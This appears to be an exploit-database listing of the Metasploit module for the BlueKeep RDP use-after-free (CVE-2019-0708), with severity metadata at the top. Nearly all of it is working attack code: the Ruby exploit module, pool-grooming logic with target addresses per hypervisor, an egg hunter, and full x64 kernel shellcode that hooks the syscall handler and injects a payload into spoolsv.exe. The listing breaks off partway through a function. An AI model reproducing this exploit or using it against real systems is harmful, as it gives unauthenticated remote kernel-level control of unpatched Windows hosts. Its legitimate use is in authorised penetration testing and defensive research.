Microsoft Windows BlueKeep RDP Remote Windows Kernel Use After Free (Metasploit)

2019.09.25
Credit: Sean Dillon
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Exploitation and Caveats from zerosum0x0: # # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. # 4. RDP has chunked messages, so we use this to groom. # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. # i. RDPSND only works when # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 # ii. This registry key is not a default setting for server 2008 R2. # We should use alternate groom channels or at least detect the # channel in advance. # 5. Use chunked grooming to fit new data in the freed channel, account for # the allocation header size (like 0x38 I think?). At offset 0x100? is where # the "call [rax]" gadget will get its pointer from. # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 # i. Hot-swap memory is another problem because, with certain VMWare and # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP # start. This can be anywhere from 100 mb to gigabytes of offset # before the NPP start. # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an # indirect call # d. We are limited to 0x400 payloads by channel chunk max size. My # current shellcode is a twin shellcode with eggfinders. I spam the # kernel payload and user payload, and if user payload is called first it # will egghunt for the kernel payload. # 6. After channel hole is filled and the NPP is spammed up with shellcode, # trigger the free by closing the socket. # # TODO: # * Detect OS specifics / obtain memory leak to determine NPP start address. # * Write the XP/2003 portions grooming MS_T120. # * Detect if RDPSND grooming is working or not? # * Expand channels besides RDPSND/MS_T120 for grooming. # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ # # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming # MS_T120 on XP... should be same process as the RDPSND class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking USERMODE_EGG = 0xb00dac0fefe31337 KERNELMODE_EGG = 0xb00dac0fefe42069 CHUNK_SIZE = 0x400 HEADER_SIZE = 0x48 include Msf::Exploit::Remote::RDP include Msf::Exploit::Remote::CheckScanner def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 'Description' => %q( The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, allowing a malformed Disconnect Provider Indication message to cause use-after-free. With a controllable data/size remote nonpaged pool spray, an indirect call gadget of the freed channel is used to achieve arbitrary code execution. ), 'Author' => [ 'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0 - Original exploit 'Ryan Hanson', # @ryHanson - Original exploit 'OJ Reeves <oj@beyondbinary.io>', # @TheColonial - Metasploit module 'Brent Cook <bcook@rapid7.com>', # @busterbcook - Assembly whisperer ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-0708'], ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'RDP_CLIENT_NAME' => 'ethdev', 'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep' }, 'Privileged' => true, 'Payload' => { 'Space' => CHUNK_SIZE - HEADER_SIZE, 'EncoderType' => Msf::Encoder::Type::Raw, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic targeting via fingerprinting', { 'Arch' => [ARCH_X64], 'FingerprintOnly' => true }, ], # # # Windows 2008 R2 requires the following registry change from default: # # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] # "fDisableCam"=dword:00000000 # [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8003800000, 'GROOMSIZE' => 100 } ], [ # This works with Virtualbox 6 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8002407000 } ], [ # This address works on VMWare 14 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8030c00000 } ], [ # This address works on VMWare 15 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018C00000 } ], [ # This address works on VMWare 15.1 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8102407000 } ], [ 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)', { 'Platform' => 'win', 'Arch' => [ARCH_X64], 'GROOMBASE' => 0xfffffa8018c08000 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2019', 'Notes' => { 'AKA' => ['Bluekeep'] } )) register_advanced_options( [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), ] ) end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end if target['FingerprintOnly'] fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually') end begin rdp_connect rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end is_rdp, server_selected_proto = rdp_check_protocol unless is_rdp fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') end # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us # from exploiting the target. if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') end chans = [ ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], ] @mst120_chan_id = 1004 + chans.length - 1 unless rdp_negotiate_security(chans, server_selected_proto) fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') end rdp_establish_session rdp_dispatch_loop end private # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is # received on a channel, and this is when we need to kick off our exploit. def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) # We have to do the default behaviour first. super(pkt, user, chan_id, flags, data) groom_size = datastore['GROOMSIZE'] pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) groom_chan_count = datastore['GROOMCHANNELCOUNT'] payloads = create_payloads(pool_addr) print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") target_channel_id = chan_id + 1 spray_buffer = create_exploit_channel_buffer(pool_addr) spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 print_status("Surfing channels ...") rdp_send(spray_channel * 1024) rdp_send(free_trigger) chan_surf_size = 0x421 spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min chan_surf_packet = spray_channel * spray_packets chan_surf_count = chan_surf_size / spray_packets chan_surf_count.times do rdp_send(chan_surf_packet) end print_status("Lobbing eggs ...") groom_mb = groom_size * 1024 / payloads.length groom_mb.times do tpkts = '' for c in 0..groom_chan_count payloads.each do |p| tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) end end rdp_send(tpkts) end # Terminating and disconnecting forces the USE print_status("Forcing the USE of FREE'd object ...") rdp_terminate rdp_disconnect end # Helper function to create the kernel mode payload and the usermode payload with # the egg hunter prefix. def create_payloads(pool_address) begin [kernel_mode_payload, user_mode_payload].map { |p| [ pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg p ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00") } rescue => ex print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") end end def assemble_with_fixups(asm) # Rewrite all instructions of form 'lea reg, [rel label]' as relative # offsets for the instruction pointer, since metasm's 'ModRM' parser does # not grok that syntax. lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/ asm.gsub!(lea_rel) do |match| match = "lea #{$1}, [rip + #{$2}]" end # metasm encodes all rep instructions as repnz # https://github.com/jjyg/metasm/pull/40 asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4') encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded # Fixup above rewritten instructions with the relative label offsets encoded.reloc.each do |offset, reloc| target = reloc.target.to_s if encoded.export.key?(target) # Note: this assumes the address we're fixing up is at the end of the # instruction. This holds for 'lea' but if there are other fixups # later, this might need to change to account for specific instruction # encodings if reloc.type == :i32 instr_offset = offset + 4 elsif reloc.type == :i16 instr_offset = offset + 2 end encoded.fixup(target => encoded.export[target] - instr_offset) else raise "Unknown symbol '#{target}' while resolving relative offsets" end end encoded.fill encoded.data end # The user mode payload has two parts. The first is an egg hunter that searches for # the kernel mode payload. The second part is the actual payload that's invoked in # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel # and user mode payloads around the heap in different packets because we don't have # enough space to put them both in the same chunk. Given that code exec can result in # landing on the user land payload, the egg is used to go to a kernel payload. def user_mode_payload asm = %Q^ _start: lea rcx, [rel _start] mov r8, 0x#{KERNELMODE_EGG.to_s(16)} _egg_loop: sub rcx, 0x#{CHUNK_SIZE.to_s(16)} sub rax, 0x#{CHUNK_SIZE.to_s(16)} mov rdx, [rcx - 8] cmp rdx, r8 jnz _egg_loop jmp rcx ^ egg_loop = assemble_with_fixups(asm) # The USERMODE_EGG is required at the start as well, because the exploit code # assumes the tag is there, and jumps over it to find the shellcode. [ USERMODE_EGG, egg_loop, USERMODE_EGG, payload.raw ].pack('<Qa*<Qa*') end def kernel_mode_payload # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya # # This shellcode was written originally for eternalblue exploits # eternalblue_exploit7.py and eternalblue_exploit8.py # # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0) # # Note: # - The userland shellcode is run in a new thread of system process. # If userland shellcode causes any exception, the system process get killed. # - On idle target with multiple core processors, the hijacked system call # might take a while (> 5 minutes) to get called because the system # call may be called on other processors. # - The shellcode does not allocate shadow stack if possible for minimal shellcode size. # This is ok because some Windows functions do not require a shadow stack. # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed. # Note: the Windows 8 version macros are removed below # - The userland payload MUST be appened to this shellcode. # # References: # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info) # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c data_kapc_offset = 0x10 data_nt_kernel_addr_offset = 0x8 data_origin_syscall_offset = 0 data_peb_addr_offset = -0x10 data_queueing_kapc_offset = -0x8 hal_heap_storage = 0xffffffffffd04100 # These hashes are not the same as the ones used by the # Block API so they have to be hard-coded. createthread_hash = 0x835e515e keinitializeapc_hash = 0x6d195cc4 keinsertqueueapc_hash = 0xafcc4634 psgetcurrentprocess_hash = 0xdbf47c78 psgetprocessid_hash = 0x170114e1 psgetprocessimagefilename_hash = 0x77645f3f psgetprocesspeb_hash = 0xb818b848 psgetthreadteb_hash = 0xcef84c3e spoolsv_exe_hash = 0x3ee083d8 zwallocatevirtualmemory_hash = 0x576e99ea asm = %Q^ shellcode_start: nop nop nop nop ; IRQL is DISPATCH_LEVEL when got code execution push rbp call set_rbp_data_address_fn ; read current syscall mov ecx, 0xc0000082 rdmsr ; do NOT replace saved original syscall address with hook syscall lea r9, [rel syscall_hook] cmp eax, r9d je _setup_syscall_hook_done ; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize cmp dword [rbp+#{data_origin_syscall_offset}], eax je _hook_syscall ; save original syscall mov dword [rbp+#{data_origin_syscall_offset}+4], edx mov dword [rbp+#{data_origin_syscall_offset}], eax ; first time on the target mov byte [rbp+#{data_queueing_kapc_offset}], 0 _hook_syscall: ; set a new syscall on running processor ; setting MSR 0xc0000082 affects only running processor xchg r9, rax push rax pop rdx ; mov rdx, rax shr rdx, 32 wrmsr _setup_syscall_hook_done: pop rbp ;--------------------- HACK crappy thread cleanup -------------------- ; This code is effectively the same as the epilogue of the function that calls ; the vulnerable function in the kernel, with a tweak or two. ; TODO: make the lock not suck!! mov rax, qword [gs:0x188] add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++ lea r11, [rsp+0b8h] xor eax, eax mov rbx, [r11+30h] mov rbp, [r11+40h] mov rsi, [r11+48h] mov rsp, r11 pop r15 pop r14 pop r13 pop r12 pop rdi ret ;--------------------- END HACK crappy thread cleanup ;======================================================================== ; Find memory address in HAL heap for using as data area ; Return: rbp = data address ;======================================================================== set_rbp_data_address_fn: ; On idle target without user application, syscall on hijacked processor might not be called immediately. ; Find some address to store the data, the data in this address MUST not be modified ; when exploit is rerun before syscall is called ;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000] ; ------ HACK rbp wasnt valid! mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap?? ; --------- HACK end rbp _set_rbp_data_address_fn_next: ;shr rbp, 12 ;shl rbp, 12 ;sub rbp, 0x70 ; for KAPC struct too ret ;int 3 ;call $+5 ;pop r13 syscall_hook: swapgs mov qword [gs:0x10], rsp mov rsp, qword [gs:0x1a8] push 0x2b push qword [gs:0x10] push rax ; want this stack space to store original syscall addr ; save rax first to make this function continue to real syscall push rax push rbp ; save rbp here because rbp is special register for accessing this shellcode data call set_rbp_data_address_fn mov rax, [rbp+#{data_origin_syscall_offset}] add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler mov [rsp+0x10], rax ; save all volatile registers push rcx push rdx push r8 push r9 push r10 push r11 ; use lock cmpxchg for queueing APC only one at a time xor eax, eax mov dl, 1 lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl jnz _syscall_hook_done ;====================================== ; restore syscall ;====================================== ; an error after restoring syscall should never occur mov ecx, 0xc0000082 mov eax, [rbp+#{data_origin_syscall_offset}] mov edx, [rbp+#{data_origin_syscall_offset}+4] wrmsr ; allow interrupts while executing shellcode sti call r3_to_r0_start cli _syscall_hook_done: pop r11 pop r10 pop r9 pop r8 pop rdx pop rcx pop rbp pop rax ret r3_to_r0_start: ; save used non-volatile registers push r15 push r14 push rdi push rsi push rbx push rax ; align stack by 0x10 ;====================================== ; find nt kernel address ;====================================== mov r15, qword [rbp+#{data_origin_syscall_offset}] ; KiSystemCall64 is an address in nt kernel shr r15, 0xc ; strip to page size shl r15, 0xc _x64_find_nt_walk_page: sub r15, 0x1000 ; walk along page size cmp word [r15], 0x5a4d ; 'MZ' header jne _x64_find_nt_walk_page ; save nt address for using in KernelApcRoutine mov [rbp+#{data_nt_kernel_addr_offset}], r15 ;====================================== ; get current EPROCESS and ETHREAD ;====================================== mov r14, qword [gs:0x188] ; get _ETHREAD pointer from KPCR mov edi, #{psgetcurrentprocess_hash} call win_api_direct xchg rcx, rax ; rcx = EPROCESS ; r15 : nt kernel address ; r14 : ETHREAD ; rcx : EPROCESS ;====================================== ; find offset of EPROCESS.ImageFilename ;====================================== mov edi, #{psgetprocessimagefilename_hash} call get_proc_addr mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f) mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename ;====================================== ; find offset of EPROCESS.ThreadListHead ;====================================== ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+) ; if offset of ImageFilename is more than 0x400, current is (Win8+) cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename jb _find_eprocess_threadlist_offset_win7 add eax, 0x10 _find_eprocess_threadlist_offset_win7: lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead ;====================================== ; find offset of ETHREAD.ThreadListEntry ;====================================== lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead mov r9, r8 ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700 _find_ethread_threadlist_offset_loop: mov r9, qword [r9] cmp r8, r9 ; check end of list je _insert_queue_apc_done ; not found !!! ; if (r9 - r14 < 0x700) found mov rax, r9 sub rax, r14 cmp rax, 0x700 ja _find_ethread_threadlist_offset_loop sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry) ;====================================== ; find offset of EPROCESS.ActiveProcessLinks ;====================================== mov edi, #{psgetprocessid_hash} call get_proc_addr mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f) add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId) ;====================================== ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock ;====================================== ; check process name xor eax, eax ; HACK to exit earlier if process not found _find_target_process_loop: lea rsi, [rcx+rbx] push rax call calc_hash cmp eax, #{spoolsv_exe_hash} ; "spoolsv.exe" pop rax jz found_target_process ;---------- HACK PROCESS NOT FOUND start ----------- inc rax cmp rax, 0x300 ; HACK not found! jne _next_find_target_process xor ecx, ecx ; clear queueing kapc flag, allow other hijacked system call to run shellcode mov byte [rbp+#{data_queueing_kapc_offset}], cl jmp _r3_to_r0_done ;---------- HACK PROCESS NOT FOUND end ----------- _next_find_target_process: ; next process mov rcx, [rcx+rdi] sub rcx, rdi jmp _find_target_process_loop found_target_process: ; The allocation for userland payload will be in KernelApcRoutine. ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess() ;====================================== ; save process PEB for finding CreateThread address in kernel KAPC routine ;====================================== mov edi, #{psgetprocesspeb_hash} ; rcx is EPROCESS. no need to set it. call win_api_direct mov [rbp+#{data_peb_addr_offset}], rax ;====================================== ; iterate ThreadList until KeInsertQueueApc() success ;====================================== ; r15 = nt ; r14 = -(offset of ETHREAD.ThreadListEntry) ; rcx = EPROCESS ; edx = offset of EPROCESS.ThreadListHead lea rsi, [rcx + rdx] ; rsi = ThreadListHead address mov rbx, rsi ; use rbx for iterating thread ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset. ; Moreover, alertable thread need to be waiting state which is more difficult to check. ; try queueing APC then check KAPC member is more reliable. _insert_queue_apc_loop: ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front mov rbx, [rbx+8] cmp rsi, rbx je _insert_queue_apc_loop ; skip list head ; find start of ETHREAD address ; set it to rdx to be used for KeInitializeApc() argument too lea rdx, [rbx + r14] ; ETHREAD ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer. ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL. ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer. ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL. ; Teb member is next to Queue member. mov edi, #{psgetthreadteb_hash} call get_proc_addr mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f) cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL je _insert_queue_apc_loop ; KeInitializeApc(PKAPC, ; PKTHREAD, ; KAPC_ENVIRONMENT = OriginalApcEnvironment (0), ; PKKERNEL_ROUTINE = kernel_apc_routine, ; PKRUNDOWN_ROUTINE = NULL, ; PKNORMAL_ROUTINE = userland_shellcode, ; KPROCESSOR_MODE = UserMode (1), ; PVOID Context); lea rcx, [rbp+#{data_kapc_offset}] ; PAKC xor r8, r8 ; OriginalApcEnvironment lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine push rbp ; context push 1 ; UserMode push rbp ; userland shellcode (MUST NOT be NULL) push r8 ; NULL sub rsp, 0x20 ; shadow stack mov edi, #{keinitializeapc_hash} call win_api_direct ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0); ; SystemArgument1 is second argument in usermode code (rdx) ; SystemArgument2 is third argument in usermode code (r8) lea rcx, [rbp+#{data_kapc_offset}] ;xor edx, edx ; no need to set it here ;xor r8, r8 ; no need to set it here xor r9, r9 mov edi, #{keinsertqueueapc_hash} call win_api_direct add rsp, 0x40 ; if insertion failed, try next thread test eax, eax jz _insert_queue_apc_loop mov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry ; EPROCESS pointer 8 bytes ; InProgressFlags 1 byte ; KernelApcPending 1 byte ; if success, UserApcPending MUST be 1 cmp byte [rax+0x1a], 1 je _insert_queue_apc_done ; manual remove list without lock mov [rax], rax mov [rax+8], rax jmp _insert_queue_apc_loop _insert_queue_apc_done: ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine. _r3_to_r0_done: pop rax pop rbx pop rsi pop rdi pop r14 pop r15 ret ;======================================================================== ; Call function in specific module ; ; All function arguments are passed as calling normal function with extra register arguments ; Extra Arguments: r15 = module pointer ; edi = hash of target function name ;======================================================================== win_api_direct: call get_proc_addr jmp rax ;======================================================================== ; Get function address in specific module ; ; Arguments: r15 = module pointer ; edi = hash of target function name ; Return: eax = offset ;======================================================================== get_proc_addr: ; Save registers push rbx push rcx push rsi ; for using calc_hash ; use rax to find EAT mov eax, dword [r15+60] ; Get PE header e_lfanew mov eax, dword [r15+rax+136] ; Get export tables RVA add rax, r15 push rax ; save EAT mov ecx, dword [rax+24] ; NumberOfFunctions mov ebx, dword [rax+32] ; FunctionNames add rbx, r15 _get_proc_addr_get_next_func: ; When we reach the start of the EAT (we search backwards), we hang or crash dec ecx ; decrement NumberOfFunctions mov esi, dword [rbx+rcx*4] ; Get rva of next module name add rsi, r15 ; Add the modules base address call calc_hash cmp eax, edi ; Compare the hashes jnz _get_proc_addr_get_next_func ; try the next function _get_proc_addr_finish: pop rax ; restore EAT mov ebx, dword [rax+36] add rbx, r15 ; ordinate table virtual address mov cx, word [rbx+rcx*2] ; desired functions ordinal mov ebx, dword [rax+28] ; Get the function addresses table rva add rbx, r15 ; Add the modules base address mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA add rax, r15 ; Add the modules base address to get the functions actual VA pop rsi pop rcx pop rbx ret ;======================================================================== ; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode. ; ; Argument: rsi = string to hash ; Clobber: rsi ; Return: eax = hash ;======================================================================== calc_hash: push rdx xor eax, eax cdq _calc_hash_loop: lodsb ; Read in the next byte of the ASCII string ror edx, 13 ; Rotate right our hash value add edx, eax ; Add the next byte of the string test eax, eax ; Stop when found NULL jne _calc_hash_loop xchg edx, eax pop rdx ret ; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context. ; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery(). ; Moreover, there is no lock when calling KernelApcRoutine. ; So KernelApcRoutine can simply lower the IRQL by setting cr8 register. ; ; VOID KernelApcRoutine( ; IN PKAPC Apc, ; IN PKNORMAL_ROUTINE *NormalRoutine, ; IN PVOID *NormalContext, ; IN PVOID *SystemArgument1, ; IN PVOID *SystemArgument2) kernel_kapc_routine: push rbp push rbx push rdi push rsi push r15 mov rbp, [r8] ; *NormalContext is our data area pointer mov r15, [rbp+#{data_nt_kernel_addr_offset}] push rdx pop rsi ; mov rsi, rdx mov rbx, r9 ;====================================== ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40) ;====================================== xor eax, eax mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires) ; rdx is already address of baseAddr mov [rdx], rax ; baseAddr = 0 mov ecx, eax not rcx ; ProcessHandle = -1 mov r8, rax ; ZeroBits mov al, 0x40 ; eax = 0x40 push rax ; PAGE_EXECUTE_READWRITE = 0x40 shl eax, 6 ; eax = 0x40 << 6 = 0x1000 push rax ; MEM_COMMIT = 0x1000 ; reuse r9 for address of RegionSize mov [r9], rax ; RegionSize = 0x1000 sub rsp, 0x20 ; shadow stack mov edi, #{zwallocatevirtualmemory_hash} call win_api_direct add rsp, 0x30 ; check error test eax, eax jnz _kernel_kapc_routine_exit ;====================================== ; copy userland payload ;====================================== mov rdi, [rsi] ;--------------------------- HACK IN EGG USER --------- push rdi lea rsi, [rel shellcode_start] mov rdi, 0x#{USERMODE_EGG.to_s(16)} _find_user_egg_loop: sub rsi, 0x#{CHUNK_SIZE.to_s(16)} mov rax, [rsi - 8] cmp rax, rdi jnz _find_user_egg_loop _inner_find_user_egg_loop: inc rsi mov rax, [rsi - 8] cmp rax, rdi jnz _inner_find_user_egg_loop pop rdi ;--------------------------- END HACK EGG USER ------------ mov ecx, 0x380 ; fix payload size to 0x380 bytes rep movsb ;====================================== ; find CreateThread address (in kernel32.dll) ;====================================== mov rax, [rbp+#{data_peb_addr_offset}] mov rax, [rax + 0x18] ; PEB->Ldr mov rax, [rax + 0x20] ; InMemoryOrder list ;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address ;mov rbx, rsi ; use rbx for iterating thread _find_kernel32_dll_loop: mov rax, [rax] ; first one always be executable ; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll) ; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll) ; offset 0x50 => is name ; offset 0x20 => is dllbase ;cmp word [rax+0x38], 0x40 ;jne _find_kernel32_dll_loop cmp word [rax+0x48], 0x18 jne _find_kernel32_dll_loop mov rdx, [rax+0x50] ; check only "32" because name might be lowercase or uppercase cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00 jnz _find_kernel32_dll_loop ;int3 mov r15, [rax+0x20] mov edi, #{createthread_hash} call get_proc_addr ; save CreateThread address to SystemArgument1 mov [rbx], rax _kernel_kapc_routine_exit: xor ecx, ecx ; clear queueing kapc flag, allow other hijacked system call to run shellcode mov byte [rbp+#{data_queueing_kapc_offset}], cl ; restore IRQL to APC_LEVEL mov cl, 1 mov cr8, rcx pop r15 pop rsi pop rdi pop rbx pop rbp ret userland_start_thread: ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL) xchg rdx, rax ; rdx is CreateThread address passed from kernel xor ecx, ecx ; lpThreadAttributes = NULL push rcx ; lpThreadId = NULL push rcx ; dwCreationFlags = 0 mov r9, rcx ; lpParameter = NULL lea r8, [rel userland_payload] ; lpStartAddr mov edx, ecx ; dwStackSize = 0 sub rsp, 0x20 call rax add rsp, 0x30 ret userland_payload: ^ [ KERNELMODE_EGG, assemble_with_fixups(asm) ].pack('<Qa*') end def create_free_trigger(chan_user_id, chan_id) # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20) vprint_status("Creating free trigger for user 